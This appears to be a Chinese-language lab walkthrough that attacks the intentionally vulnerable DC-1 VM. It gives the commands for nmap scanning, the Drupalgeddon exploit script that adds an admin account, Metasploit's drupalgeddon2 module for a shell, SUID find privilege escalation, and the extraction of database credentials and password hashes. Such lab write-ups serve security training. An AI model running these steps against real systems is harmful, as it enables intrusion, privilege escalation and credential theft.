DC-1 靶机渗透
1. 实验环境准备
本次实验使用两台虚拟机:
- 攻击机:Kali Linux
- 靶机:DC-1
两台虚拟机全部设置为 NAT 模式,保证它们处于同一网段,可以互相通信。

2. 信息收集
信息收集是渗透测试的第一步,目标是摸清靶机 IP、开放端口和运行的服务。
2.1 查看攻击机自身 IP
在 Kali 中执行 ip a,查看攻击机自身 IP 地址。
ip a
从输出可以看到 Kali 攻击机的 IP 地址。

2.2 网段扫描,发现靶机 IP
使用 nmap 对当前网段进行存活主机扫描,找出靶机 IP。
nmap -sn 192.168.174.0/24 -oG -
扫描局域网存活主机,得到靶机 IP:192.168.174.135。

2.3 端口服务版本扫描
对靶机 IP 进行端口和服务版本扫描。
nmap -sV 192.168.174.135
扫描结果开放端口:
- 22:ssh 服务
- 80:Apache http 网页服务
- 111:rpcbind

2.4 CMS 识别
浏览器访问靶机地址 http://192.168.174.135,页面是 Drupal 网站。

whatweb http://192.168.174.135

识别 CMS 版本为 Drupal 7。
3. Searchsploit 漏洞脚本利用,新增网站管理员账号
Drupal 7 存在 CVE-2014-3704 Drupalgeddon SQL 注入漏洞,可以直接创建网站后台管理员。
3.1 搜索 Drupal 漏洞
searchsploit drupal
找到 34992.py 漏洞脚本。

3.2 执行 exp 脚本,创建管理员账号
python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.174.135 -u hacker -p 123
新建账号:hacker,密码:123。

3.3 登录 Drupal 后台,获取 flag3
浏览器访问链接:
url:http://192.168.174.135/?q=node&destination=node
输入账号 hacker / 密码 123 登录后台,点击 content 栏目找到 flag3。




注意:仅仅网站后台权限,只能操作网页,拿不到服务器系统 shell,需要使用 Metasploit 获取服务器权限。
4. Metasploit 框架攻击,获取 meterpreter 会话
4.1 检索Drupal漏洞模块
使用searchsploit工具检索Exploit-DB漏洞库,搜索Drupal相关漏洞,过滤出集成在Metasploit框架的漏洞利用模块。
searchsploit drupal | grep Metasploit

4.2 初始化MSF数据库
sudo su(若是root权限,则可以不用操作此行代码)
systemctl start postgresql.service
msfdb init
msfconsole
db_status
看到提示 connected 说明数据库连接正常。


4.3 加载 drupalgeddon2 漏洞模块
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set RHOSTS 192.168.174.135
show options
exploit
执行 exploit 攻击成功,拿到 meterpreter 会话。



4. 4获取系统 shell,读取 flag1
在 meterpreter 交互中输入 shell 获取靶机的 Linux 命令行。
shell
id
pwd
ls
cat flag1.txt
当前用户是 www-data,Apache 网页服务低权限账号,成功读取 flag1。

4.5 升级 pty 交互式 shell
meterpreter 原生 shell 交互体验差,使用 python 生成稳定交互式 bash:
python -c "import pty;pty.spawn('/bin/bash')"
id

4.6 全盘搜索 flag 文件
find / -name "*flag*.txt"


找到 flag4 文件,但是 /root/thefinalflag.txt 权限不足无法读取,需要本地提权。
5. SUID 提权,拿到 root 最高权限
SUID 权限知识点:设置 4000(SUID)权限的程序,普通用户运行该程序,会临时拥有文件所有者(root)的权限。
5.1 查找系统 SUID 程序
find / -perm -4000 2> /dev/null
输出结果中可以看到 /usr/bin/find 拥有 SUID 权限。

5.2 利用 find 命令提权
find 命令的 -exec 参数可以执行系统命令,配合 SUID 权限拿到 root shell。
find cron.php -exec bash -p \;
whoami
id

参数 bash -p:保留 SUID 权限,避免 bash 安全机制重置 UID。执行完成,身份变为 root。
5.3 root 读取最终 flag
find /root -name "thefinalflag.txt" -exec cat {} \;

拿到靶机最终 thefinalflag。
6. 读取 CMS 配置文件 + MySQL 数据库操作
6.1 读取 settings.php,拿到 flag2 与数据库账号密码
Drupal 数据库配置文件路径:/var/www/sites/default/settings.php
more /var/www/sites/default/settings.php
文件中包含 flag2,同时泄露数据库连接信息:
- 数据库名:
drupaldb - 用户:
dbuser - 密码:
R0ck3t
按 q 退出 more 查看器。

6.2 登录 MySQL 数据库
mysql -udbuser -pR0ck3t

6.3 查询 users 用户表
use drupaldb;
select name,pass from users;

查询出网站全部用户以及 Drupal 自研算法的密码哈希。
注意:这里的 Fred 只是网站账号,不是 Linux 系统本地用户,无法
su fred切换系统用户。Drupal 哈希很难直接解密。
7. 全部 Flag 汇总
- flag1:
/var/www/flag1.txt - flag2:
/var/www/sites/default/settings.php - flag3:Drupal 后台 content 页面 + MySQL users 表密码哈希
- flag4:
/home/flag4/flag4.txt - thefinalflag:
/root/thefinalflag.txt
8. 实验总结
- Drupal 7 Drupalgeddon 漏洞,无需登录直接远程代码执行,是高危 CMS 漏洞。
- SUID 特殊权限是 Linux 本地提权重要突破口,
find、nmap等命令经常被用来做提权。 - CMS 网站配置文件保存数据库账号密码,入侵 web 服务器优先读取配置文件。
www-data属于网页低权限用户,拿到 shell 之后,必须做本地提权才能访问 root 目录。- 区分网站应用账号和操作系统本地用户,网站数据库账号不一定能登录系统。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐


所有评论(0)